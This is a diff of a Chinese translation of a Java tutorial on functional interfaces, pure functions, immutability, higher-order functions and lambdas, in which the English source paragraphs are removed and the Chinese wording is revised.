-In simple words. *Functional Interface is an interface having one abstract method*. Simple no more confusions. Again, *any interface have only one abstract method is called Functional Interface*. Here I want to share some knowledge, which is not the part of this series but that is good if you know specially for interviews. If you read my definition. I used abstract keyword but we already know interface has always abstract methods. So that is before Java 8. In Java 8 we can define one method in interface and that is called default method like shown below.
-
-简单地说，**函数式接口是个有一个抽象方法的接口。**同样简单地说，**任何拥有一个抽象方法的叫函数式接口。**这里我想分享一些背景知识，这些知识不属于这个系列，但是对你面试尤其有用。如果你读过我的定义。我用抽象的关键词，但是我们已经知道接口总是有抽象方法，所以那就是 Java 8 之前的。在 Java 8 里我们可以在接口里定义一个方法，这个方法叫默认方法，正如下面所示。
+一言以蔽之，**函数式接口是有且只有一个抽象方法的接口。**换言之，**任何拥有唯一抽象方法的接口都可以被称为函数式接口。**这里我想分享一些背景知识，这些知识不属于这个系列，但是对你面试尤其有用。如果你读过我的定义。我用了关键词抽象，众所周知的是接口里的方法都是抽象的，但那是 Java 8 出现之前的情况。在 Java 8 里，我们可以在接口中定义一个包含方法体的方法，这个方法叫默认方法，正如下面所示。
 
 ```
 public interface Account {
@@ -54,17 +38,11 @@ public interface Account {
 }
 ```
 
-Now I am going to revise the definition. Functional Interface is an interface having one abstract method.
-
-现在我们要修改一下定义。函数式接口是个拥有一个抽象方法的接口。
+现在我们要回顾一下定义。函数式接口是个拥有一个抽象方法的接口。
 
-So now if I ask you the above interface is a Functional Interface or not. What will be your answer. According to definition. Answer should be No but that is a valid Functional Interface. Why…
+所以现在，如果我问你上面的接口是不是一个函数式接口，你的答案是什么？根据定义，答案应该是：不是。但那却是一个有效的函数式接口，为什么呢……
 
-所以现在，如果我问你上面的接口是不是一个函数式接口，你的答案是什么？根据定义，答案应该是不是，但那却是一个有效的函数式接口，为什么呢……
-
-Now if interface use default method or may be try to use any method of **java.lang.Object** into interface. That interface remain Functional Interface because **java.lang.Object** methods will not count. Just like I am showing you one valid Functional Interface below.
-
-现在，如果接口使用默认方法或者可能尝试使用 **java.lang.Object** 的任何方法。那个接口还是函数式接口，这是因为 **java.lang.Object** 方法并不算数。正如我在下面展示给你的真正的函数式接口。
+现在，如果接口定义默认方法或者继承并重写 java.lang.Object 类里的任何方法。那个接口还是函数式接口，这是因为 **java.lang.Object** 方法并不算数。正如我在下面展示给你的真正的函数式接口。
 
 ```
 public interface Add {
@@ -78,9 +56,7 @@ public interface Add {
 }
 ```
 
-So any interface which has more then one method is not called a Functional Interface just like shown below.
-
-所以，任何有多于一个方法的接口不叫函数式接口，正如下面所示。
+所以，任何有多于一个抽象方法的接口不能被称为函数式接口，正如下面所示。
 
 ```
 public interface Do {
@@ -91,13 +67,9 @@ public interface Do {
 }
 ```
 
-I think you grasp the concept of Functional Interface. Guys that is a really core concept of Lambda expression so try to remember this concept.
+我相信你已经理解了函数式接口的概念。这也是 Lambda 表达式重要的核心概念，一定要好好记住。
 
-我相信你已经理解了函数式接口的概念。这可真的是 Lambda 表达式的核心概念，所以试着记住这个概念吧。
-
-Some examples of Functional Interfaces which currently we are using in our daily development.
-
-一些我们现在每天开发使用的函数式接口的例子：
+一些我们现在日常开发使用的函数式接口的例子：
 
 ```
 public interface **Runnable** {
@@ -109,79 +81,47 @@ public interface **OnClickListener** {
 }
 ```
 
-Now its time to show you Comparator interface in Java 7 and 8  both are valid Functional Interfaces.
-
-现在是时候向你展示 Java 7 和 8 的比较器接口了。它们都是有效的函数式接口。
-
-In Java 7 Comparator:
+现在是时候向你展示 Java 7 和 8 的 Comparator 接口了。它们都是有效的函数式接口。
 
 Java 7 的比较器：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.23.27-AM-300x171.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.23.27-AM.png)
 
-In Java 8:
-
 在 Java 8 里：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.25.44-AM-1024x773.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.25.44-AM.png)[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.29.23-AM-1024x650.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.29.23-AM.png)
 
-Do not confuse guys. Again both are valid Functional Interfaces. Only remember three things about Functional Interface.
-
-可别搞混了。它们都是有效的函数式接口。只要记住函数式接口的三件事情。
-
-Only one abstract method – May have default methods – May use java.lang.Object methods
+可别搞混了。它们都是有效的函数式接口。只要记住函数式接口的三点原则。
 
 只有一个抽象方法 － 可以有默认方法 － 可以使用 java.lang.Object 方法。
 
-If any interface pass these three points that is a valid Functional Interface otherwise no.
-
 如果任何接口满足这三点，那就一定是有效的函数式接口，反之则不是。
 
-In java 8 there is a whole new package **java.util.function.** In this package all interfaces are Functional Interfaces. That package is useful when we are working with Streams API. Which we will learn as a bonus when we will start Rx Android.
-
-在 Java 8 里有一个新的工具包 **java.util.function**。在这个包里，所有的接口都是函数式接口。当我们需要用到流 API 时，这个工具包很有用。当我们开始学习 Rx Android 的时候，这个包会让我们学到更多。
-
-One very important point. Guys as we are going to start working with Rx Android. We will play a lot with these Functional Interfaces. Basically in Android we are dependent on Rx Java and Rx Android. Now I am going to show you package of Rx Java 1.0 and 2.0 Functional Interfaces. No need to remember this thing and no need to take tension that is only general knowledge. Only try to remember the concept of Functional Interface. These will automatically remember to you when we start working together on Rx.
+在 Java 8 里有一个新的工具包 **java.util.function**。在这个包里，所有的接口都是函数式接口。当我们需要用到流（Stream） API 时，这个工具包很有用。当我们开始学习 Rx Android 的时候，这个包会让我们学到更多。
 
-很重要的一点。当我们要开始使用 Rx Android 时，我们会使用很多这样的函数式接口。基本上，在安卓平台中，我们依赖于 Rx Java 和 Rx Android。现在，我将要给你看一看 Rx Java 1.0 和 2.0 包里的函数式接口。没有必要去记住这个，也没有必要紧张，这只是通用知识。只要试着记得函数式接口的概念久可以了。当你开始使用 Rx，这些你都会不自觉地想起来。
+很重要的一点。当我们要开始使用 Rx Android 时，我们会使用很多这样的函数式接口。基本上，在安卓平台中，我们依赖于 Rx Java 和 Rx Android。现在，我将要给你看一看 Rx Java 1.0 和 2.0 包里的函数式接口。没有必要去记住这个，也没有必要紧张，这只是通用知识。只要试着记得函数式接口的概念就可以了。当你开始使用 Rx，这些你都会在潜移默化中记住的。
 
 RxJava 1:
 
-[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.27-AM-120x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.27-AM.png)RxJava2:
+[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.27-AM-120x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.27-AM.png)
 
-[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.49-AM-182x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.49-AM.png)
+RxJava2:
 
-WOW. Its time to celebrate now we know what is a Functional Interfaces, what are default methods in Java 8. As I write in introduction about the terms, which we are going to discuss in this post, two are gone .
-Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions, Higher Order Functions, Mutable and Immutable, Functional Programming and Lambda expressions.
+[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.49-AM-182x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.49-AM.png)
 
-哇哦！我们该庆祝一下我们已经知道什么是函数式接口，以及在 Java 8 里什么是默认方法。当我在介绍里写到这些名词时，当然，我们将要这篇文章中讨论它们，两个新名词就解释完了。函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
+哇哦！我们该庆祝一下我们已经知道什么是函数式接口，以及在 Java 8 里什么是默认方法。我在介绍一栏中写到的本章需要探讨的概念，已经解释完两个了。~~函数式接口，默认方法~~，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
 
-**Functional Programming:**
 **函数式编程:**
 
-Truly saying I mostly work with Java and C++ and both are imperative not pure functional. So I am going to try my best to clear all confusions which I faced but if I am wrong some where please forgive me and update me in comments. So I will update my post.
-
-我真的大部分使用 Java 和 C++，而且它们都是命令式的而且不是纯函数式的。所以我打算尽力解决所有的我面对的困惑。请原谅我，可以在回复里提醒我来更新我的文章。
+说实话，我的大多数工作都是用 Java 和 C++ 完成的，而这两种语言都是命令式的而非纯函数式的。所以我打算尽力解决所有的我面对的困惑。如果我有什么地方弄错了，请不要介意。不过务必在回复里提醒我，这样我就可以修正我的文章了。
 
-Guys before going into boring definitions. I am going to revise some of our college or school days concepts. Which is really helpful here to clear all the ambiguities about the remaining terms.
-
-在进入无聊的定义之前，我打算修改我们在学校学习到的概念。这对接下来阐释剩下模棱两可的名词是很有帮助的。
-
-Every body who is doing development know functions. But currently try to forget everything about programming and go back to college or school days. ——————- School Days, Present Madam.
+在进入无聊的定义之前，我打算回顾我们在学校里学习到的理论。这对接下来阐释剩下模棱两可的名词是很有帮助的。
 
 每个做开发的人都知道函数。但是现在请试着忘记我们学习过的所有编程知识，重回学校。
 
-Good boy.
-
 好孩子。
 
-Now what is a function in math class. [Guys for the time being forget all knowledge which you have related to functions in Java or C++ or in any language.]
-
-在数学课上，什么是函数。［现在请忘掉你所知道的在 Java 或者 C++ 等任何编程语言关于函数的所有知识。］
-
-What is a function? A function related an input to output. Boring ok forget.
-
-How many people know about the below sentence.
+数学概念上的函数是什么？［现在请忘掉你所知道的 Java 或者 C++ 等任何编程语言关于函数的所有知识。］
 
 什么是函数？一个根据输入决定输出的方程式。挺无聊的，好的，那忘记这个。
 
@@ -205,16 +145,6 @@ y = 2+3
 
 y = 5
 
-So basically f(x) = x+3 is a function. Which always give you same output for same input.
-
-One more example.
-
-How many people remember.
-
-Sin(x) [ Trigonometry ]
-
-We remember. Every time in school life when I gave theta value 45 degree. I get answer 1/2 like shown       below.
-
 所以，f(x) = x+3 是一个函数。当你给同一个输入，会给你同样的输出。
 
 再来一个例子。
@@ -223,23 +153,17 @@ We remember. Every time in school life when I gave theta value 45 degree. I get
 
 Sin(x) [ 三角函数 ]
 
-我们当然记得。在学校的时候，每当我们得到一个 45 度的 theta 角，我会得到 1/2 的答案，如下所示。
+我们当然记得。在学校的时候，对一个 45° 的角取正弦，我会得到 1/2 的答案，如下所示。
 
 y = Sin(45deg)
 
 y = 1/2
 
-Later I used this same function in college and university. Every time when I have same input I got same result. That is called pure functions. I will explain more later.
-
-接下来，我要用到这个在大学里常见的同样的函数。每次我给一样的输入，我会得到一样的记过。这就叫纯函数。我会在接下来解释。
-
-Here we revise some functions which we use a lot in our school or college life. Now when we use the same concept in programming. That is called Functional Programming. Do not take tension I am going to explain now. We are back from childhood memories.
+后来我在大学时代里也用过相同意义上的“函数”。对于给定的输入值，会得到唯一的结果。这就叫纯函数。我会在接下来解释。
 
-这里我们要修改一些我们在学校里常用的函数。现在，当我们在编程中用同样的概念，这就叫函数式编程。不要紧张，我马上就会解释。我们从儿时的回忆里回来看看。
+我们回顾了在大学里常用的一些函数。现在，当我们在编程中用同样的思想，这就叫函数式编程。不要紧张，我马上就会解释。我们从儿时的回忆里回来看看。
 
-First need to discuss some confusion. Like when we start programming we start like. Write a function which will calculate area of a circle.
-
-首先，我们要讨论一些困惑。正如，当我们开始编程，我们开始写一个可以计算圆的面积的函数。
+首先，我们要讨论一些困惑。比如当我们刚开始写程序的时候，都写过一个计算圆面积的函数。
 
 ```
 public double areaOfACircle(int radius){
@@ -247,9 +171,7 @@ public double areaOfACircle(int radius){
 }
 ```
 
-Good. Now as I am going more professional my definition of function is changed. Like write a currency converter of USD into PKR.
-
-很好。现在我要给函数一个更专业的定义，正如写一个 USD 和 PKR 的货币转换器。
+很好。随着我变得更专业，我对函数认识也不同了。比如，写一个美元转巴基斯坦卢比的汇率计算器。
 
 ```
 public float convertUSDIntoPKR(int USD){
@@ -257,26 +179,13 @@ public float convertUSDIntoPKR(int USD){
 }
 ```
 
-In Programming that is a function but in math. There is some issue because in math we always say. Same input always give you same output. But our function may give your different output on same input because that is dependent upon the external value. So here I am going to introduce a one more term. That is called a Pure function. In Math we always know every function is a pure function just like Sin() but in our programming languages we have a lot of functions which always give us a different value. So for that we introduce a new term called a Pure function in programming.
-*A pure function is a function where the return value is only determined by its input values, without observable side effects.*
-
-在编程中，上面的是一个函数。但是在数学中，这就有问题了。因为在数学中，我们总是说，同一个输入对应同样的输出。但是编程中的函数给同样的输入可以有不同的输出，因为它依赖于其它数值。所以这里，我们又要介绍一个名词，叫纯函数。在函数里，我们知道每个函数都是纯函数，如 Sin()，但是，在我们的编程语言里，我们有很多函数给我们不同的数值。所以，这就是我们要介绍的，编程语言里的纯函数。 **纯函数是返回值值决定于它的输入，而并没有观察者的副作用。**
+在编程中，上面的是一个函数。但是在数学中，这就有问题了。因为在数学中，我们总是说，同一个输入对应同样的输出。但是编程中的函数给同样的输入可以有不同的输出，因为它依赖于其它数值。所以这里，我们又要介绍一个名词，叫纯函数。在数学概念里，我们知道每个函数都是纯函数，如 Sin()，但是，在我们的编程语言里，我们有很多函数给我们不同的数值。所以，这就是我们要介绍的，编程语言里的纯函数。 **纯函数的返回值由它的输入值决定，而且没有明显可见的副作用。**
 
-One more term side effect. Any function which is not pure is called a impure function which may have a side effect. Or may be there is some function which is pure but if we can see any side effect in that then we are not able to say that is a Pure function.
+下一个名词，副作用。任何不纯的函数叫非纯函数，它可能产生副作用。或者一些函数本身是纯函数（指对于给定的输入值可以得出相同的输出值），但是如果它在产生结果的时候与外界发生了数据交换，那么我们就不能说这是一个纯函数。
 
-下一个名词，副作用。任何不纯的函数叫非纯函数，它可能产生副作用。或者可以说，一些函数式纯的，但是如果我们看到它有任何负作用，那么我们就不能说这是一个纯函数。
+第一类非纯函数的典型就是 Random 函数。对于给定的一个输入值，它总是返回不同的结果。
 
-First impure function like Random. This always give you different value for same seed.
-
-Side effect like println() is an impure because it causes output to an I/O device as a side effect. In any function which is pure but I used println() note that function is not remain pure function due to side effect.
-
-第一个非纯函数就是随机函数。它总是用同一个种子给你返回不同的结果。
-
-副作用像 println()，是一个非纯的函数，因为为 I/O 设备提供输出是它的副作用。任何函数式纯的，但是如果我用 println() 来注释打印，那它就不再是纯函数了。
-
-Some examples:
-
-Pure:
+第二类副作用的典型是 println() ，它是一个非纯的函数。因为它将输出值转去了输入输出设备（而不是作为函数返回值输出），所以产生了副作用。任何纯函数一旦用 println() 来注释打印，那它就不再是纯函数了。
 
 一些例子：
 
@@ -288,8 +197,6 @@ public int squre(int x){
 }
 ```
 
-Impure due to Side Effect:
-
 因为副作用而非纯的的函数；
 
 ```
@@ -299,8 +206,6 @@ public int squre(int x){
 }
 ```
 
-Impure:
-
 非纯函数：
 
 ```
@@ -309,26 +214,17 @@ public void login(String username, String password, Callback c){
 }
 ```
 
-Now we grasp two more terms. Pure functions and Side effect.
-Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions, Higher Order Functions, Mutable and Immutable, Functional Programming and Lambda expressions.
-
 现在我们又理解了两个名词。纯函数和副作用。
 
-函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
-
-Next we are going to discuss Mutable and Immutable. In mathematics as we remember every time when I gave my value to some function. I always get the new value and my original value remain same. But in programming that concept has changed so that’s why we have two different definitions. Mutable and Immutable. In OO we mostly use to break immutability. Which may cause a lot of issue but in Functional Programming that always used immutability. Like every body know in Java String is Immutable.
+~~函数式接口，默认方法，纯函数，函数的副作用~~，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
 
-接下来，我们准备讨论可变的不可变的。在数学中，我们记得，当我给函数一个值，我总能获得新的值，而我原来的值还是一样的。但是，在编程中，那个概念就变了。这时为什么我们有两种不同的定义。可变的和不可变的。在 00？ 中我们差一点就打破了不可变性。这可能导致很多问题，但是函数式编程总是利用不可变性。正如每个人都知道在 Java 里，String 是不可变的。
+接下来，我们准备讨论可变的不可变的。在数学中，我们记得，当我给函数一个值，我总能获得新的值，而我原来的值还是一样的。但是，在编程中，那个概念就变了。这时为什么我们有两种不同的定义。可变的和不可变的。在面向对象中，我们几乎无时不刻不在破坏不可变性。这可能导致很多问题，但是函数式编程总是利用不可变性。正如每个人都知道在 Java 里，String 是不可变的。
 
 ```
 String s = "Hello";
 s = "World";
 ```
 
-Here our original String never changed. Yes in second line I created a new String and assign that to my s object.
-
-So what is mutable. One example.
-
 这里，我们本来的字符串从未改变。虽然第二行我们创建了新的字符串并且把它赋给我的 s 对象。
 
 所以，什么是可变的？给你一个例子。
@@ -340,9 +236,7 @@ for (int i = 0; i < array.length; i++) {
 }
 ```
 
-In Java or in imperative programming if I call above code that is basically mutable. That changed my original array values. But in Functional Programming if I do the same thing I always get a new array with multiplied values and I have the original data remain unchanged.
-
-在 Java 或者命令式编程中，我认为上面的代码基本上是可变的。它改变了原本的数组值。但是在函数式编程里，如果我做了同样的事情，我总是获得乘好的数值组成的新数组，而我原来的数据仍然保持不变。
+在 Java 或者命令式编程中，我认为上面的代码基本上是可变的。它改变了原本的数组值。但是在函数式编程里，如果我做了同样的事情，我总是获得与 2 相乘后的数值组成的新数组，而我原来的数据仍然保持不变。
 
 ```
 Integer array []= {1,2,3,4,5};
@@ -359,11 +253,7 @@ Output:
 1 2 3 4 5
 ```
 
-The above example written in Java 8 but that will be same in Rx later. Only try to grasp the concept of mutable and Immutable. So as you see in output original array value has no change.
-
-上面的例子是用 Java 8 写的，但是那跟之后讲 Rx 是一样的。只要试着理解可变的不可变的概念。正如你所看到的，所输出的原本的数组值并没有改变。
-
-Now may be you are thinking what is the benefit of this. So I am going to explain here one example. If I know all my functions are Pure and Immutable I can do lot of things without taking care of my data state. For example I am going in threading.
+上面的例子是用 Java 8 写的，但是那跟之后讲 Rx 是一样的。举出这个例子，只是为了帮助你理解可变和不可变的概念。正如你所看到的，所输出的原本的数组值并没有改变。
 
 现在可能你在想这样的好处是什么。我这里用另外一个例子来解释。如果我知道我所有的函数都是纯的并且是不可变的，我可以做很多事情而不用管我数据的状态。例如，我要使用线程。
 
@@ -391,9 +281,7 @@ public class FunctionalLambda {
 }
 ```
 
-In this example basically I am using threading. One of my thread doing addition of value 1 in each member of array and the main or other thread is taking square of all the values in array. As a developer my expected value should be like shown below.
-
-在这个例子里，基本上我用到了线程。其中一个线程对 1 和数组中的每个数值做加法，而主要的和其它线程则对数组中的数值做平方运算。作为一个开发者，我期望数值应如下所示。
+在这个例子里，基本上我用到了线程。子线程让数组里的每一个数据 + 1，而主线程或者其他子线程则对数组中的数据做平方运算。作为一个开发者，我期望数值应如下所示。
 
 ```
         1
@@ -403,9 +291,7 @@ In this example basically I am using threading. One of my thread doing addition
         25
 ```
 
-But when I run I got the below output.
-
-但是，当我跑起程序，我得到的是下面的输出。
+但是，当我执行这段代码时，得到的结果如下。
 
 ```
         4
@@ -415,9 +301,7 @@ But when I run I got the below output.
         36
 ```
 
-This is wrong or actual output. Because I am not taking care of my mutability. Now I am going to right a proper Functional program. In which I will manage my immutability.
-
-这是错的，但也是实际输出，因为我没有管数据可变性。现在我准备写一个合适的函数式程序，这段程序将管理我数据的不可变性。
+结果和期望并不相同，因为我没有管数据可变性。现在我准备写一个合适的函数式程序，对数据的不可变性进行严格控制。
 
 ```
 public class FunctionalLambda {
@@ -446,75 +330,41 @@ public class FunctionalLambda {
 }
 ```
 
-Note: For running above example you need to [download rxjava jar](https://mvnrepository.com/artifact/io.reactivex/rxjava/1.0.2).
-
-注意：如果要跑上面的例子，你需要［下载 rxjava jar］(https://mvnrepository.com/artifact/io.reactivex/rxjava/1.0.2)。
-
-After running this example my expected and actual both outputs are same because here my program is not doing changes directly in array instead that is creating a copy of my data. So that’s why I can say my array is immutable. I also used Rx so for that sorry but from now I will add little bit Rx in my examples. I will explain you in next post but trust on me. That is a Functional Program in which I have one Pure Function square and my array is not mutated because I am using Functional Paradigm.
+注意：如果要运行上面的例子，你需要[下载 rxjava 的 jar 包](https://mvnrepository.com/artifact/io.reactivex/rxjava/1.0.2)。
 
-跑完这段例子后，我所期望的和实际输出的事一致的，因为我的程序没有对数组做直接改变，而是拷贝了我的数据。这就是为什么我可以说我的数组是不可变的。对不起，我也用 Rx 了。但是从现在开始，我会加一点 Rx 到我的例子里。我会在接下来的文章中解释清楚。但是，请相信我，那时一个函数式程序。在程序里，我有一个纯函数做平方运算，并且我的数组不改变，因为我将使用函数式范式。
+运行完这段例子后，我所期望的和实际输出的是一致的，因为我的程序没有对数组做直接改变，而是拷贝了我的数据。这就是为什么我可以说我的数组是不可变的。对不起，我也用 Rx 了。但是从现在开始，我会加一点 Rx 到我的例子里。我会在接下来的文章中解释清楚。但是，请相信我，那是一个函数式程序。在程序里，我有一个纯函数做平方运算，并且我的数组不改变，因为我将使用函数式范式。
 
-Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions, Higher Order Functions, Mutable and Immutable, Functional Programming and Lambda expressions.
-
-函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
-
-Now its time to clear our ambiguity about Higher Order Functions (HOF).
+~~函数式接口，默认方法，纯函数，函数的副作用~~，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
 
 是时候解释清楚高阶函数 (HOF) 的含义了。
 
-*A function with at least one parameter of type function or a function that returns function is called a higher order function*.
-
 **拥有至少一个函数类型为参数的函数，或着返回一个函数的函数叫做高阶函数。**
 
-Hmm that is really easy and we use a lot this concept in our Rx programming. Before Java 8 that is little bit difficult to show you HOF but we can use anonymous class as a HOF. We are mostly used this concept in C++. Where I can send function as a parameter. In Android like I am going to add a Click listener with anonymous class. So you can say that is an example of HOF. I will explain more when we are in Rx post.
-Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions,Higher Order Functions,Mutable and Immutable, Functional Programming and Lambda expressions.
-
 那简直太简单了，并且我们在 Rx 编程中用了很多这个概念。在 Java 8 之前，展示 HOF 还是有点困难的，但是我们使用匿名类作为 HOF。我们大多在 C++ 中使用这个概念，把函数作为一个参数。在安卓中，这就类似于添加一个匿名类为点击事件监听者。所以你可以说，这是 HOF 的一个例子。我会在介绍 Rx 的文章中更详细地解释这个。
 
-函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
-
-Now if we are using these concepts which we discuss Pure Functions, HOF, Immutable in any language you can say we are following Functional Paradigm. That is a Functional Programming. In OO we mostly manage the states but in Functional we have data and we do computation by taking care of immutability.
-
-现在，如果我们使用这些概念，在任何语言中，我们所讨论的纯函数，HOF，不可变的都是接下来的函数式范式。那就是函数式编程。在 00？我们常要管理状态，但是在函数式程序里，我们有数据，管理好了不可变性，我们可以大胆地做运算。
+~~函数式接口，默认方法，纯函数，函数的副作用，高阶函数~~，可变的和不可变的，函数式编程和 Lambda 表达式。
 
-Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions,Higher Order Functions,Mutable and Immutable,Functional Programming and Lambda expressions.
+现在，如果我们使用这些概念，在任何语言中，我们所讨论的纯函数，HOF，不可变的都是接下来的函数式范式。那就是函数式编程。在面向对象编程时我们经常要管理对象的状态，但是在函数式程序里，我们有数据，管理好了不可变性，我们可以大胆地做运算。
 
-函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
-
-Hurray we cleared our lot of ambiguities related to Functional Programming. Now its time to finish our this post by learning last thing Lambda Expressions.
+~~函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程~~和 Lambda 表达式。
 
 加油呀！我们已经弄清楚了很多关于函数式编程模棱两可的概念。现在我们要用学习 Lambda 表达式来结束这篇文章。
 
-Before going to Lambda’s I want to revise what we did till now.
-
 在进入 Lambda 的章节前，我想复习一下前面的内容。
 
-Functional Interface – an interface having one abstract method.
-
-函数式接口 － 一个有一个抽象方法的接口。
+函数式接口 － 有且仅有一个抽象方法的接口。
 
-Default Method – In Java 8 we can define methods in interface these are called Default Method.
+默认方法 － 在 Java 8 里，我们可以在接口中定义有方法体的方法，这些叫默认方法。
 
-默认方法 － 在 Java 8 里，我们可以在接口中定义方法，这些叫默认方法。
+纯函数 － 一个函数的返回值仅由输入值决定，没有明显可见的副作用。
 
-Pure Function –  A function, where the return value is only determined by its input values, without observable side effects.
-
-纯函数 － 一个函数的返回值仅由输入值决定，不需要做观察。
-
-**Lambda Expressions:**
 **Lambda 表达式:**
 
-“*lambda expression in computer programming, also called anonymous function, a function (or a subroutine) defined, and possibly called, without being bound to an identifier*” (Wiki)
-
 “**在计算机编程中，lambda 表达式，也叫匿名函数，是指一类无需定义标识符（函数名）的函数或子程序。**”(Wiki)
 
-First and most important thing. RxJava is not dependent on Lambda’s. Instead Functional Programming has no relationship with Lambda’s as you already saw in all of my above examples I never mentioned I used lambda may be on some places IDE converted my code to lambda but we can do everything without lambda. Then questions is why in every blog of Rx or Functional Programming we saw lambda expressions as a core part of the blog. In my opinion, you can think they are simple, improved syntax form of anonymous functions.
+首先，RxJava 并不依赖于 Lambda 表达式。实际上，函数式编程与 Lambda 表达式没有关系，正如你在我以上的例子中看到的那样，我从来没有说过我用了 lambda。只是 IDE 在某些地方可能把我的代码转换成了 lambda 表达式，但我可以不用它来写代码。那么，问题是，为什么在每一篇关于 Rx 或者函数式编程的博客里，我们看到 lambda 表达式总是核心内容。在我看来，你可以把它们理解为简洁高效的匿名函数语法。
 
-首先，RxJava 并不依赖于 Lambda 表达式。实际上，函数式编程与 Lambda 表达式没有关系，正如你在我以上的例子中看到的那样，我从来没有说过我用了 lambda。只是 IDE 在某些地方可能把我的代码转换成了 lambda 表达式，但我可以不用它来写代码。那么，问题是，为什么在每一篇关于 Rx 或者函数式编程的博客里，我们看到 lambda 表达式总是核心内容。在我看来，你可以把它们认为简单的，有效的匿名函数形式。
-
-There is some prerequisite which I am going to explain you before going into more detail about Lambdas. As we already know Java is a static type language. Its mean all java program objects and variables always know about there data type at compile time. For example code as shown below.
-
-在我详细介绍 Lambda 表达式前，有个条件。我们已经知道 Java 是一个静态类型语言。它意味着所有的 java 程序对象和变量总是在编译时间里知道数据类型，如下的例子这样。
+在我详细介绍 Lambda 表达式前，有个先决条件。我们已经知道 Java 是一个静态类型语言。它意味着所有的 java 程序对象和变量总是在编译时间里知道数据类型，如下面的例子所示。
 
 ```
 int i = 1;
@@ -523,16 +373,12 @@ Person person = new Person();
 String s = "Hello";
 ```
 
-In a same way before Java 7 we are going to use Collections we need to write a complete List of initialization like shown below.
-
 同样的，在 Java 7 之前，我们准备用 Collections 来写一个完整的 List 对象初始化，如下所示。
 
 ```
 List<String > list = new ArrayList<String >();
 ```
 
-But in Java 7 we got Type Inference concept. By using that one we can write concise code just like shown below.
-
 但在 Java 7，我们有类型引用的概念。使用这个概念，我们可以写出如下简洁的代码。
 
 
@@ -540,18 +386,10 @@ But in Java 7 we got Type Inference concept. By using that one we can write conc
 List<String > list = new ArrayList<>();
 ```
 
-So basically now compiler will determine the type by using the context at compile time. In that way we can save a lot of time.
-
-Guys again, type inference is very very important. So try to focus on this thing. In Lambda expressions, we are using a lot and lot of people confused due to lake of this concept.
-
 所以现在，编译器在编译时根据上下文决定数据类型。这样，我们就节省了很多时间。
 
 再一次，数据类型引用非常重要。所以我们要关注这个。在 Lambda 表达式中，我们要用到很多次，但是大家因为缺少这个概念而感到困惑。
 
-Going again to describe this same concept by taking different example.
-
-I have a one method in which I will send integer as param and that method will return me that same value without changing any thing like as shown below.
-
 我们继续用另外一个例子来描述同一个概念。
 
 我写了一个方法，整数作为参数传入，而这个方法将不改变任何东西，返回同样的数值给我，如下所示。
@@ -566,14 +404,10 @@ public static int  **giveMeBack**(int a){
 }
 ```
 
-This is a simple example. Now I want to give 3.14 to this method. So guys any body tell me what will happen?
-
 这是简单的例子。现在我想传个 3.14 给这个方法，有没有人告诉我，会发生什么呢？
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.23.34-PM-300x227.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.23.34-PM.png)
 
-Yes you are write program is not able to compile as shown above. I already mentioned that method only take Integer. Next my requirement is, I need to write this function for all data types. Now as a developer I am a lazy guy. I don’t want to write a same code again and again. Here I am going to take benefit of Java inference.
-
 是的，你的程序将无法编译。我已经说过了，这个方法只能传入整数。我的下一个要求是，我要使得这个方法适用于所有数据类型。作为一个开发者，我是一个懒人。我不想写重复的代码。这里我想利用 Java 的引用。
 
 ```
@@ -582,26 +416,18 @@ public static<T> T  giveMeBack(T a){
 }
 ```
 
-This is also called generics. Now by using generics I save my lot of time. I can use this method for any data type as shown below.
-
 这也叫泛型。利用泛型，我节省了很多时间。这个方法可以适用于任何数据类型，如下图所示。
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.27.35-PM-300x164.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/02/Screen-Shot-2017-02-19-at-3.27.35-PM.png)
 
